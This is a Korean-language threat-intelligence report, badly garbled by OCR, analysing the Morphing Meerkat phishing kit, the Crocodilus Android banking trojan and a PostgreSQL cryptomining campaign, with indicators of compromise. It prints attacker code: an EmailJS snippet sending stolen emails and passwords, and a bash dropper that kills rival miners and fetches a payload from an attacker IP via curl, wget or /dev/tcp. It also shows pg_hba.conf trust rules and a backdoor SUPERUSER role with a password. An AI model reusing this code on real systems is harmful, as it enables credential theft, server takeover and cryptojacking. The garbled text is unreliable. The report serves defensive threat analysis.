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|E= DNS MX B|ZEHE 7|8to 2 IO [ O|X| &

+ 2023 7 X ojY 7| EE
EXMoz LS4 Q9T SIX| mBfAle| ¥ ZTRLWS JjHloR HAEES
SHoE WIS 12 7 0|2l CHE Q0 E AFEXIE EFNEY £ /U,

+ PhaaS EMECEEEH LSE AW HYQ| AI = LGHXIE W T
| O|X| 2 2|CHO|H E A|7|0{, H|O|X|2} LIBHX} 7to| &% X8 a2 H|Y
71E7F SR SAlof et ZHabE.

+ Y2 g O 7| E= X 2|0 E {6 TSiAE doEel H AIO|ER
2|CHO|ME A|Z £ OO, DNS MX 2|2 EE AHE3}0] mslXto o|of Y
MH|AQH 2=l I|N A ’HIESE SHCE S

Morphing Meerkat
PhaaS

/)

L ) |
=P @ na |3
Threat configures 9

actor phishing
campalgn

Real login ——
page D o

@ Redirects to the

authentic page
after login
attempts

DD ﬂT

2 Phaa$ sends
spam emails

?J

Sends visitor data

and credentials to
Dynamically loads collection server

—~ phishing via DNS MX (e.g., Telegram

Email

redirects to
recipients

phishing webpag:

Queries email
domain DNS MX

records

DNS over
HTTPS (DoH)
.

- j 3 1 channel)
@ Spam link -

.\/\_

AL

Credential
collection server

[ Morphing Meerkat 324 S & ]

“] DNS MX(Mail Exchange) B2 E: O|H| &S X 2|5l= MHE X|"d5l= DNS HZE

Page | 4



SECUI

Morphing Meerkat 4212 © MAX =z REE D, 22 DSiAE
EtAESH?| f/of ol & mo[X|e] HAEE TmofjAte| EZt Mo 28 7|2
AOIZ Hatgt = Qs HYA JavaScript =2 AHE.

SXf Ol 7| E7F AHE5ts IR E2] HY EE2 F0, ot=0{, AL QIO

2{A|O}0f, 20|, &R0, Y20 E ZTS}0] I1SO 639 2 127§ oo

CHot 20| SHE M-S

e || navigator.userLanguage;

Page | 5



SECUI

Morphing Meerkat 2 27| 324 #HEHO| AH K-S HiZSH= AT
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Of2fl E+&= Morphing Meerket | A 0 HE A
oY = YLUXL 0| & SMTP IP

Action required: Deactivation Notice {email_account} IT Announce 5.230[.]209.74
Reconfirmacién de titularidad de la cuenta Foxmail[.]net 185.117[.]90.212
Action required: email account {email_account} IT Announce 5.230[.]210.77
Password Deactivation Alert® 03/07/2025 05:13:10 pm | foxmail[.]Jnet 107.173[.]166.107
SHIPPING DOCUMENT FOR MAERSK LINE — INV — M i 12.18311248.102
0322200950059505 aerskiine 1831248,
ACTION REQUIRED: {email_account} login settings has | foxmail[.]net

. . 175.9[.]54.154
expired Administrator
PaymentAdvice20250224 USD50,000 Recipient Copy00134 | RakBank InterSwift | 109.200[.]24.11
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Dear Consignee
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Oisfxt7t 2300 Al=g WMot 843 o Fef 2tA 810] “Invalid Password!
Please enter email correct password.(‘H9: 22 = HYHS L|CH SHE
H

HYHSE QHStM R EHs HAIX 7} BHetE

count + 1;

dataT,p ,
url: 'h . upcriac com.br/FaP0OjEh/fTds/next.php
type: 05
data: {
ai: ai,
pr: pr

beforesend:

tion.replace('https://www.dhl.com/en.html");

cation.replac

(2100 AT = HA B AO|EZ 2lCiolE |
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Morphing Meerkat 2| PhaaS &
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I| O X| 2| C|X}Ql0| A m ol HA|X|LF YX|SIT, 0| 7|&
o A= S ToiArE £0f o|H e XtH SE=
Ol MH|A HSA= o] o0 Y = Q10f CH3H %%
2I(SLD)! 222 DNS MX 2| ZEE F45tH, O]
*1H|ﬁ% HESIALL HES 2| EHISHALL, 2AE
Zb o]0 =0 Q18 HTML E2|A A0 OjESI= CHAl, 54
SLD & AtE3tY oM g =0 Q19| MH|A K SAHE HetsHA
O|F 22 =¥ Jts.
Of2l = Microsoft 27 O|H Y =0 210f| CHSH Google 2| DNS over
HTTPS(DoH)!®! 0| A & 23 Outlook MX SLD H2oZE.

j)ﬂdln outlook.com

Of x|

m

—_
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éﬂ rlo oz oﬂ xg
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[
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'outlook.com.'

: 15}]
'outlook.com.

"TTL":

, 'type':

, 'type': 15, 'data’:

[
answer: [{'name'

259,

: 'hotmail.com.',
': 'hotmail.com.',

15}]
TTL':

"type':

"type': 15, 1960, 'data':

15}1]
TTL':

', 'type':

, 'type': 15, 1867, 'data’:

: 'msn.com.', 'type':
, 'type': 15,

[O2] o|H & =melof tiet &

15}]

'"TTL': 183, 'data':

2ASE DNS MX SLD Of|A] ]

'2 live-com.olc.protection.putlook.

o xte] oo &

E EXO
o 1

oz Hs.
HA|SHO]

'5 outlook-com.olc.protection.outlook.com| '}]

'2 hotmail-com.olc.protection.joutlook.com|'}]

com,'}]

'2 msn-com.olc.protection.Joutlook.com|"'}]

51 Second-level domain(SLD, 2LD): =0 @I | A|AEIO|A x| A2 =@l of2fof & {X|et =0l
6] DNS over HTTPS(DoH): HTTPS ZZEZS Sofl ¥ =02 O] A|AHI(DNS) 221 $3s}7|

flet ZR2EZE
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+ Morphing Meerkat 2 =0 Q12| MX 2|2 EF Zt7| 2|3l DoH R O Z2|#0[
Z272fY QIE{H 0| A(API) Q! Cloudflare DoH EE= Google Public DNS £ AHE.

ord (domain)

=%${ domain }&t

i.data } ).join('\n"});

error

[ Google DNS & &% MX 2|ZE 2| 7|5 ]

domain

r.length === 0

email

=%{ email }°;

[ Cloudflare DoH & §%t MX HIZE H2| 7|5 ]

+ IO 7|E7 MX HZEE AMch =, AFEXL X8 AHH S AHESHO] 2|2 E2}
AZE O HTML IS 2E

+ O APH2 MX 2= O|F o £+ Oy HTML IhE S OfE.

+ Morephing Meerkat 2| HTML ®E& 2t0[E22|0l= &2 114 70| ARt

ojMj& =z Bl 212l C|X+2l0] EXY.
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o

I
T|eAte] Ol & =7t M2 H.

Signature Release

Authorize us to

# Your shi|

¥ Wheres!

933 INDUSTR
LA

KENNER
70062 KENNI

Signature Release

Authorize us to deliver your shipment without a signature.
@ Your shipment's size and weight

. o5t

!- Where should we place your shipment?

933 INDUSTRY ROAD KENNER, LA 70062 USA

El
>

[ DHL Express O|0| & I HO|X| ]

0
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+ 34 ArEﬂEL Olﬂﬂ%', SUSH AFO|EQ| PHP A3 E, H|Z7| JavaScript X
XMLAJAX) 2782 St 84 HIo|H ©&, @3S ArEst HIAE R 21}9]
S410| =l

+ HE Y2 Z2t0|YE = JavaScript 2t0|E2{2|E AMESt EHF &l XA T Y
MN&E BEE SAX0A HE.

+ EEBH Morphing Meerkat 2| == “EmaillS"2t= S2I0[HE = O[O0 Y
JavaScript 2t0|E&{2| & AE3I0] HF E AtH SFHS SHA7 MO{sH=
ol Faz2 ME,

+ HO[SHXe| E2tRX 7} JavaScript & A Al, EmaillS 371 7| ALESH0] B H
Xt ZHat msfxiel Ip T4 HEIF ZEE HAIXE S,

+ J2{L} 0] 71 7|2 ALE5t0] SAXL| O|H Y AHo|M HAIX|E HAM5=

%e B7t5.

emailjs.init('user ]
emailjs.send('default se = remplate ul@gdxi', {
message hitml: "Email: ${ email } Pa d: ${ password }
user ip: locals =
from name:
reply to:

+ tth res

(count == 2
count = @;
window.location.replace('http://www.' + my slice);

[ EFE AH SYS AH8ot0 Ol 2 HAIX|E £ 7] ?lgt Emaills 2 E ]

7 gl Z(Webhook): HTTP £ &3l OZ2|#0]4d 7t0f HIO|HE At52 2 T&Es= st O[HE (gt 4
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o
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6544119066,
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'Rogier’,
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'private’},
1740491134,
Rl

-
i
£1
1
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1
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L

[ Telegram MEZE HEE HAE BA|X] ]

B Z&(Polling): AFE 7 2 F AL SEHIE F7I M2 &QSHAL = Z2MA
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1.1.4 Aol X|&E (Indicators of Compromise)

Indicator type Indicator

107.173[.]166.107 175.9[.]54.154 194.169[.]172.188
P 109.200[.]24.11 185.117[.]90.212 45.133[]174.25

122.183[.]248.102 185.209[.]161.155 5.230[.]209.74
173.224[.]126.37 185.229[.166.117 5.230[.]210.77
hxxp[:]//In[.Jrun/HXEHS#{user_email}
hxxp[:]//url[.Jrw/3m080/#{user_email}
hxxpsl[:]//bafybeih6by422foovrakubtwm2ajjxwwéfrb7rxixu7zbqridm2xkszy2al.]ipfs[.|dweb[.]link/
axprediir.html#{user_email}
hxxps[:]//carriertrucks[.Jcom/#{user_email}

URL hxxps[:]//hexatimes[.Jcom/0487548Wi/Adobe_PDFViewer/blau.php#{user_email}
hxxps[:1//is[.1gd/UYdiV6/#{user_email}
hxxps[:]//movesfitnesszooml[.Jco[.Juk//_fri/xcfm6rms65q2uhzae0r8/{user_email}
hxxps[:]//rebrand[.]ly/1e2jap#{user_email}
hxxps[:]//s3[.Jus-east-2[.Jamazonaws[.Jcom/38474[.]Jcom/re+(6).htmI#{user_email}
hxxps[:]//shorturl[.]Jat/Kmm6g#{user_email}
clumsy-fir-mandible[.]glitch.me victorious-muddy-basin[.]glitch[.Jme
ht2jndn.webl.]Japp setting-raw-jushd|[.]Jvercel[.]Japp

Dormain jeell.ltop truck-parts[.]nl
nfond[.Jcom zeinabghasemil.Jir
login-maildelivery-mailbox[.]s3.us-east- pub-
1[.Jamazonaws.com a5838f65652541d69d95fd7010df5bb4[.]Jr2[.]dev

115 08 7I0|=

.91 10C Mo HAT YR Holo] YR FFE B 3 MY JHsH B HEMS
Sofl EX| U XpEF MY

. MRl 4 Qe 33 27 Fo

. EHE MOIA AFBEE OF| BIO|2A ZRIAUS HMUHHEOE |X

. AFBElE ofZ2iAold £ SEHH O Thatol A4 THX|S Hrey

1.1.6 &1 X=

mx-abuse/

https://blogs.infoblox.com/threat-intelligence/a-phishing-tale-of-doh-and-dns-
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1.2 MEH ¥ tEZ0|E 8 E 20| Z0} Crocodilus

121 7|19 E X 2
+ 7|9 E: Crocodilus, Banking Trojan, Android
+ QOFOICZ0|E HiZl EZ 0|20} Crocodilus 2] ME Bt 7|=

122 91 43
+ Z|Z AO|H| 20 7| ThreatFabric M MZ2 145 2Ht
EZ0|=0t2l “Crocodilus"E HHE
+ Crocodilus = 7|& ZHY W EZ0|=0te| HZF 0| OfL|2} A{FA|
SHSIYCH, ¥4 Ho, 23 Ad2 10|, M2 242 &% 15

=l
HOH =&t Z2 X 7|[gs 4310 US.

;ol

no
0%

123 g 24

2 =X

+ Crocodilus = e dEdIE JWLXZ0| 2! 2| H A ("Crocodile”O| 2t
=IE 7I¢ ez E0 %l O|Fo M2 ZHY W EZ0|=0}

+ MEZ 443 ?:! |E =TI @B 0| 34, 7|2, ¥4 AN A, 2
Mol 7ls & g43E

+ Crododilus 2| ZS7I =PN
soff =, 84X =

m
==
0E
oY
Q

rr 4

Android 13+ HlgtE ?=2[cte =X EE2HE

g MH[AE Ed5ot=8 238

A
ry

Requesting
Accessibility
Service

Erigilebilirlik izni Gerekli

[ Crocodilus o] &£7| HZ2 2tH ]
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Crocodilus = EEt 25 {0 d2M 2tHO| Q20| EAISIY
a2

=
- =
OLYTET} 2B Kol

2ot & =
Ol &A% &&0| YR, AHIEE= ZH 717|129 A28 SAASHY s A7t
obd HRE LOXIE[X| REI=F B

XNg LAHE Crocodilus MEO|A “sybupdate” Ef 17} QI E|R}2H, O] =
DHY 2E SHHOM LT SAHXLQ! “sybra"Qt HZAE = JASLf, BHY
WZ EZO|=0F AIFO| Est= UMES E1|ﬁ53P': DA =2 7|
f-20f sybra & Crocodilus 7 At} #EHO| Tt HI[= 0|HZ.

ring[]{"com.android.packageinstaller:id/permission_allow_button", "android:id/b

izin ver,onayla,ba\u@l5Flat,kabul et, k\u@l31s\u@l3ltlama yok,\u®l5Fimdi ba‘\u@l5Flat,
"kapat,yeniden ba\u@l5Flat,Emergency,close,restart,power, Emergency,schlie\u@eDFen,n

= Build.VER SDE_INT < 33 ? new ng [1{"android.permission.SEND_SMS", "android.perm

"Chrome";
= "CjwhREIDVFLORSBodGlsPgoBaHRtbCBsYWSnP5]8ciI+CjxoZWFkPgogICAgPG11dGEgY2hhcnNLldl

gl]l{"apagado"”, "apagar", "deaktivera", "deaktivare", "deaktivat", "deaktivere",

OHH:":OI ek iE% Ao 21 H7|o 2 E JHEAIE 20 Tl

assName eslesmesi)");

"BLOCK DELETE APP! " + t

ssibilityName. to C Nl

end.ErrorMeList, "BLOCK DELETE APP! "

tion exception2) {
ACCESSIBILITY", " Hata olustu: " + exception2.ge

[ EHZ|0 2 Tl HA[X] ]
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+

m|SHAE7E OfZ2|AH O MOA B LS I PIN S H
olLfol MM X2 7|2 WefotlL TR
Chot M A BB %S 4 9

SotH
B x| Yo ™
2 = UAELICHLEY) 2l= HA

Aol 2ZEn

g olof "12 A|Zt
X2

Back up your wallet key in the settings within 12
hours. Otherwise, the app will be reset, and you

may lose access to your wallet.

[ 22|00 HEA|X|= HA[X] ]

Ot2j= Crocodilus 2| Bot 3 & 55

Hd Mg
TR0390Q1QXZXS =2 HE 243t
DearTetherDest USSD 88 =%
MNKL9GOGIS1XZ XNEE 88 Z213 A
GoodNightBro ZRIO M H A
TEBIFOS29KWQ TA €
RT90SQ28X1Q MK €l ofZ2|AH 0| Mol AHE THs Tt 2u{20] 2ol
KingOnlyDear XNEE Bz 2 sMS ©&
KingAllDear 2= HEXOf sSMS T&
KingGetDears HEN =& 7127
KingGetTs HX|E ofEeH oM F5 I L7
KingBoxSex SMS TiIA|X] 27|
allAdmGet A He| kK Hot 2
TBLO3TSMLS AYe Hoz oig sMS &

TR9OSOXZ

124 Qu{20] 2y

||SettingsNew||

ZHO A
O 71
= 278 YHolE
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lUpdateTrox910]| C2 27 YHolE
T o3, MAE ZHYUS Hest7] /st ER[A el

[Frechpps (@830l ctezc =g
chzModes AR E gd3t/HIgd%t
mkLoper Ha o
CsxStx A Hol MY gds/Higdat
NwSrx 71228 gda/HIg g%t
mrSemploks AKOf CHSE RHM| 22 2 ol/H| 2%t
onlineData 2HdotE @HY o] iy =5
innaHotLive e 55 YO0lE gdal/H|gdst
SpinderSpike 7|2 SMS #e2|xtz 23

+ OF2f= Crocodilus 2| RAT E&H &
¥y H4Y
InfinityGetTo HE Z 2t o|O|X| ~E2[Y A%}
InfinityGetStop S 72t o|0|X] ~E2[Y FX|
154856895422 717 =t #47|
TR2XAQSWDEFRGT =717 RAT 2-d3l/H| 2t
RightSlider REXOR AQ0|Z
LeftSlider YAZoz AQ0|Z
Back_Action FE2 Y =™
Home_Action gAY =
Menu_Action o 2 =
864512532655 Ofgi= AQt0o|=
852147414735 2ZE AQ0|=
1548566612 A =
M55TRM321XA Mot 227 8 g2 28 0] 2dst
PCROC9FIPCROC A2 E 2d35t 8l 2H20] HA
BL03902910AA Mot 2471 8l 424 2By 0] 2ds}
BLD101920QXX A2 E 2d3st 8l 2H20] HA
clickScreen otH 28
trXSB123QEBASDF ST HAK
06155FI2SXZ ZHO| R FYo| HAE 7
TCL9CLSKDLX12 HE 28
messagesLenght S8 £20 =27
TG32XAZADG Google Authenticator 2| 2tHM ZHEHX 24K
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124 K|

X|# (Indicators of Compromise)

Indicator type

Indicator

Domain

register-buzzy[.Jstore

FileHash-SHA256 | c5e3edafdfdalca0f0554802bbe32a8b09e8cc48161ed275b8fec6d74208171f

1.25 18 7I0| =

a o &2
9 A

o= g3 28 Fo

M ALSElL OHE| Hio|2{A ZRIYUS AAHHOR |

OfZ2|70| M & SYRTO| CHSho] 2|4l THX|S g

126 &1 Xtz

https://www.threatfabric.com/blogs/exposing-crocodilus-new-device-takeover-
malware-targeting-android-devices
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1.3 PostgreSQL AMH O 2|2 Yot A= | ¢l

131 7|9E % 2%
+ 7|9/ E: CPU_HU, XMRig, Miner, PostgreSQL
+ 29 F{OFoh PostgreSQL MHE &2 2 St= 223l xf= ZAn 2l

132 2 AH

+ Z[Z SERE 2ot 7|® Wiz oM, SVHE 22 =EE|0 AL F| ot PostgreSQL
MHE 324 A= o= 2o iz AE Qe M22 HEO| 2felE.

+ "JINX-0126'2 2 &= 34 182 FYste == Jtset 210 &t 5HS
A2 SHE PostgreSQL QIAE A0 BN ASHO| “XMRig-C3” OFO[ {110 |2

+ SZ4Xk=E A7 A7t Qe HO|H 2| E /25, Ik §0] 010l
HO[ZEE A= AL 22 YO 2| 7|8 At

+ O|= I+ siAlof CHot BE 3| R4 X E 2|O5tr| gt Az =HE

+ SAXRF AZE M 7ie| CHE = otm X[Zo] M EE|/}=0H, ZF X|Zofl Chet SA
24 Za, o] A 20l 1,500 F Of el maixtof Feks D[t Az FHEE.

+ O|= F3t PostgreSQL QIAEHATL O§2 S3510] SAXZL A8 = U=
7| HMHE MSettie E2 & = A2, HOo[Ho| =3 2R E 2F 9
°F 90%7} PostgreSQL QAEHA S AFESHL o, 1 F 322 12 IHE0
SHHeE =EE QAEHATL L Ol U= A2 20l

Postgres Mining Pool @
Credentials

Bruteforce — T —_—
A

y
A =77 ~ D
R — ﬂ(éi _ _— —_—

[emag |

KW+ '5

Attacker Internet Postgres Database postmaster cpu_hu atest
XMRig-C3
Miner

[S4 8k ]

[0 Miner: AFEALZF 2274 2X[E|0 A|AEC XAHES 0|83 7H=lH & =dts A F2E
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MHIAE 27| 26| HHERIIE A7, PostgreSQL 2 A4

& &= JAe REHHNA =EE= 7|2 FADH XA B

goz Qg @2 34

AKX} PostgreSQL O F <ot X4 SHo =2 QS SH0] M2 A, “"COPY ...

I235t0] 2 Ho|2EEE EESI AY0| 7ts.
2

FROM PROGRAM" &t+=& =
2 32 A8

[}
2100 §&5tH &

kill -9 $(pgrep zsvc) $(pgrep pdefenderd) $(pgrep updatecheckerd) $(pgrep kinsing) $(pgrep

kdevtmpfsi);

function __curl() {
read proto server path <<<$(echo
DOC=/
HOST=
PORT=
[[x" ! ! " ]] && PORT=80

exec 3<>/dev/tcp/

echo -en "GET HTTP/1.0WWrWnHost: WA N AN > &3

(while read line; do

" " == W' ]] && break

done && cat) <&3

exec 3>8&-
}
if [ -x "$(command -v curl)" ]; then

curl -ksS 159.223[.]123.175[:]36287/JzICbeMxNQHwfwHLICOFnumixtqYBv -o pg_core
elif [ -x "$(command -v wget)" ]; then

wget -q -Opg_core 159.223[.]123.175[:]36287/JzICbeMxNQHwfwHLICOFnumixtqYBv
else

_curl <hxxp[:]//159.223[.]1123.175[:]36287/)zZICbe MxNQHwfwHLICOFnumixtqYBv> > pg_core ;
fi:

[E2H ATEE |
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&7, HX O MAHst1

r|r

+ A3EEE 2220 OHE Yoot XM=7|7F /U
pg_core HIO|HZ2[E AP,

+ 1 Ch3, pg_core 7F B|AAMA A3E|D AF|,

+ FAX= MAEOl postmaster!!! ZEMAS DHISLT| 28l postmaster 2H=

O O 1 L=

HIO|LH 2| 22 E.

echo 'exec 5<>/dev/tcp/159.223[.]123.175/36287; echo "GET
/HbLziIWbYDNEpWUdIDdjfdiYTChuDj HTTP/1.1" >&5; echo "host: 159.223[.]123.175" >&S5; echo

>&05; (while read ling;do [[ "$line" == $(printf "WW015") ]] && break; done && cat) <&5 >

postmaster; exec 5>&-' | bash
[ postmaster HIO|H 2| CHRZE ]

+ postmaster £ th=3HEl golang HO|H 2|2, +=HEl UPX 2 I{Z &

+ SAXtE L3otE 1S postmaster HHO|H 2|0 F=7tsEs BHES A3,
sh -c
"printf ::42)z0WwVPBAsW329:::VXssAL7FEQj5QG4T7cLgmn/VTADoqlvAIDqUiueQYJXy+P5Ysz9YvLS6
yMLOeuUNaHAhwWeXD2/Q51sjeYVQ4vc3UQHvfC8rFujLelE3vTIuPdPSnjZwRH8X 1xvEXqeQPHKL1V
vIPaWublrzdtDQECtOLTcz15zZWHmMAHAUhH4fsM/QrZHZfu)B9zXO0W5eS+IrRV2Li6aPfqfYkP/D371m
PtKCq9i5I9tn2VWIsDcGesOdh2zS+iD5GrvrwXWhTDvgH2xpvL5Am1DDnKU/ftlI3+s0/NFBJMRZ807V
Hu3h8qidkU8N1z4Wqz4X0O03uZ1aUZtsY+GbeC57EvSWYkcLnnvQqPT4qBCipQjYl+ogtzc

[ d23tEl 4 S postmaster HHO|L{2|0f 715t B |

+ O 82 Ofeliet 22 StEZEE AES 7| AHESH0] g==tE.
7C6643CC24859542CE37615341E7712E82B4167528688877FE7C14648909DCD5

{"ol":"admin","op":"admin”,"|":"psqgl_sys","i":"<IP>""or":5432,"x":"UYXsIx38aXJsCd-

27kCDig==","lle":"4A5ZWpHM6BXS8YF7xNfjXA5ctDjTC3GBWS4ESBVIX2BGVJV8vkfXBeZfXG6w2hm
dkpZaogCXiquU4DYPXn3TtPRAGJBLQ7N5","w":10,"h":"/var/lib/postgresql/data/pg_hba.conf"}

[2S3tE 74

+ Td0= orafet €2 msh A|AFO oot EIF 2R 0] /S,
. A E AEXL 0|21 A E
o IOl MEQ JE IP A ZE
. MME #T X AN o2

«  "pg_hb.conf" L} 2[X|

(111 postmaster: PostgreSQL MHE 7|&/SX(5t7| ot B4 Z2 M A0|AF 7H A AlEtEl= Z2MA
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oL siE 0= SR K| =A% YA 0| F & LSS0 HjixZE
Lot XH=Z 7|2 HHE o2 ETF EotHE.

Al Al, postmaster = C|ATL| J[X|E =I5t HEO|LH 2|0 FTHEl FLEdS
FX|Sh= HO|LH2|2| OpX|2k 1,024 HIO|EE 91 3.

E L7t AL FRSIK] RS B2, postmaster = 2LF 2t BH SEE.

PostgreSQL ZE2 M| A A E & StLEY} “postgres: logical replication launcher”
HHOZ MIE|7| 20|, postmaster HIO|LHZ|= AMH|A LHOA SHYS

A E37] 2|l “postgres: replication launcher” B 012t 27H| XIHH2 2

AlS
Al E

SAXE XS H S 9XI8H7| I8l postmaster & D& AAZ M3l 4~

0|'
£0

I:_I
f|'E ru

AA[oro] BHE f% 0| E1|0IE1H1I0I* A B0 EJO'OPE A= X5
HERIete S4=S &,

host all pgg_superadmins all reject

host all postgres_superadmins all reject

host all all 127.0[.]0.1/8 trust
host all all 172.16[.]0.0/12 trust
host all all 192.168[.]0.0/16 trust
host all all 10.0[.]0.0/8 trust

TENECEENETY

T2, SAXE X&dS 2/l offet deoks 7t MZ2 Role =

EQ o
4o, 0|2 Soll SAAE P27t HEE R0 = A[2H0 2320] 7ts.

CREATE ROLE psql_sys WITH LOGIN SUPERUSER PASSWORD
'759686ac19adbd08b94cf53f35afdd1e’;

_._7zlx|.l— EEo|- O|'EH9f 7|-o| )\-|H|Ao| 7|E A|.Q_7(|.O| admin 0” [H'é‘k %I'c's}% Pg.

[ I L

ALTER USER "admin" WITH NOSUPERUSER NOCREATEROLE
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postmaster = “cpu_hu” HO|H 2| & “4-d3t=0, cpu_hu &= postmaster 2t
OFZER 2 = E UPX 2 I ZE A2, H=3tHE golang HEO[HE|.
Base64 2 C|ZEEl OO 144 HE = Ot2fet 20| cpu_hu HIO[LHZ|2| E0]
e AS.

::9XLOMQh7RZ3Tf1X08:::::ey)sbCI6NCwibGxIljoiNEETWIdwSE02QIhTOFIGN3hOZmpYQTVjdERgGVE

MzR0J3UZzRFUOJWOVgyQkdWSIY4dmtmWEJIWmZYRzZ3MmhtZGtwWmFvZONYaXFVNERZUFhuM 1
ROUFJBROpCTFE3TjUILCJ4ljoiVVIYc2x4MzhhWEpzQ2QtMjdrQORpZz09liwiZmciOiluLi4ifQ= =

<Decode Z1}>
{"lI":4,"lle":"4A5ZWpHMG6BXS8YF7xNfjXA5ctDjTC3GBWS4ESBVIX2BGVIV8vkfXBeZfXGow2hmdkpZa
0gCXiqU4DYPXn3TtPRAGJBLQ7NS","x":"UYXsIx38aXJsCd-27kCDig==","fg":"..."}

Cl2EE 40 Cict E= oteiet 3.

o e X[ FA

- x XL ID

«  fg: /tmp(/tmp/...) St210I MAHE json 74 IHY 0|2

cpu_hu & "hxxps[:]//githubl.]Jcom/C3Pool/xmrig-C3/"C| XAl HE S CIRZE
= T8 OdE tmp/. ol MASED “memfd” THY A H A}
OO|HE 2 &,

Azl XS FHSH AH4 0 KF7| KFAIS AR
SHRE A IE MEO DQS 74 HO|EE FIBIEE cpu_hu &

=
postmaster 2| It& S§A|= L|SHAtOCH CHE.

min
Ofm
ot
H
me
£Q
o

ZEMAE 485
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1.34 Aol X| & (Indicators of Compromise)

Indicator type

Indicator

IP

159.223[.]123.175[:]36287

Domain

mine[.]Jc3pool[.Jcom[:]13333

FileHash-SHA256

€00e9f9d8d3eab68fbc88ed25a9eefb5b9d8d86a993ff78482500e99ae64351e

551d4df1d525b68ee354fcee133a505857aff4b5041e1fe657d8813ba5303b2d

€6578bb7b88bf08a35ba4b0f2dd75af32e8fe65d33d329ca5beaf8a8ce29d7e1

Wallet Address

4A5ZWpHMG6BXS8YF7xNfiXA5ctDjTC3GBWS4ESBVIX2BGVIV8VkXBeZfXGow2hmdkpZaogCXiqU4DYPXn3T
tPRAGJBLQ7N5S

47pt9WzQyugFQpSAwWCcGN2k8JHIMQ3fRZ3BQgmnYlJtcejVg9adfiwVSWgrpmxiYTxvwWcHv5dD2iCaiBYiK4at
kMSUGMXdx8

463TBt8Rn1gXWZDpTV4ydxQcZnkJNeLv6JRKjFbzFsY3MQZaxWsUgQF4QnxNAg8MGSPsiLn9faTWqRafHnh
h3QBASLTgRHA

1.3.5 & 70| =
2| 10C 40 LT HHoj tfsjo] Y2 AHE BIt S U 75T HOL R ME
of BFX| S Xt A ™

136 &1

THE JOIM AFEE[= QE| HIO[ZA 227 XMUHTLZE
OfZ2|AH 0| = 2 SHA O CHoro] x| DX S 2

AEEl=

NI

https://www.wiz.io/blog/postgresql-cryptomining#technical-analysis-5
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22 80

it
Ll (Phishing): A28 E= AN E Sl
B HAXIQ AME 7HE5H0], H| 2 B AHEF}
HMEE B ¥28{& social engineering 42| o &F
o4 7|E: E&XQ HAO|EE 2510 ALEAIZREH Tiget HE

o g THo%ts &7
O EE| 3 (AdTech): &1 7|=2 =X5}= advertising technology 2| E 2 E,

CIXIY 05 FO4SHD THO§SHY| @5 =7 S A|AH
Open Redirect: AF&X}7F AlE(g = U= =02l LHOM 2[F AO|EZ
2|CIO|MEL|EE Rl 224 7|

1=

PhaaS(Phishing-as-a-Service): T EX| 40| g0t =2 A=t HZE|H SaaS E
TLOHSHY] ZHESEA| AOIH SZ(Td S24)2 g = A= 'MH|& &
o1z #e| ER(RAT): 22 ¥ 22| = (Remote Administrator Tool)S SE&}LL
SAXA A SHAEE @AFAH Ele 81z 48E = US
DNS MX(Mail Exchange) IR E: O|H| 2 & X2|5t= MHE X|'d5t= DNS 2=
Second-level domain(SLD, 2LD): =0 Q! Lj|Q A|ABIO|A XA =0 QI Of2Hof
XY fIXleh =0 el
DNS over HTTPS(DoH): HTTPS Z2EZ=2 Sdlf €14 =02l 0|E A|AHI(DNS)
slolS £3sl7| o8t ZRED

= (Webhook): HTTP & &3l Oi Z2[#|0[M Zt0f| H|O|H & X522 M&Edt=
i3} O|HIE 7|ut EAl
=3 (Polling): AFH7I 2F FX|L} HEfE F7|H2 2 2QStAHLL Sl ZEMA
Postmaster: PostgreSQL MH & 7|5/ X[5t7| fot H4 T2 M AO|X} 7t BA
AEE| = TE2MA
Miner: At&XI7F B2 GX|E[0] A|ABIO| XHRlS 0|83l 7Hef<lHE =
7|27 (Keylogger): A H2| & §E& 7|F5t= M ofd Z2ade=
gutdoz F|HEE S0t g3 72 = 5%
E25n, Ch2 20 (Dropper, Downloader): £
FIHAEQl ofd mU S WESHAHL CHREES

N

me oy nn*=°
orlJ Jo

o

UPX(Ultimate Packer for eXecutables): 2=
E}

U=sl= T2 AMO|X|TH AHAES AL
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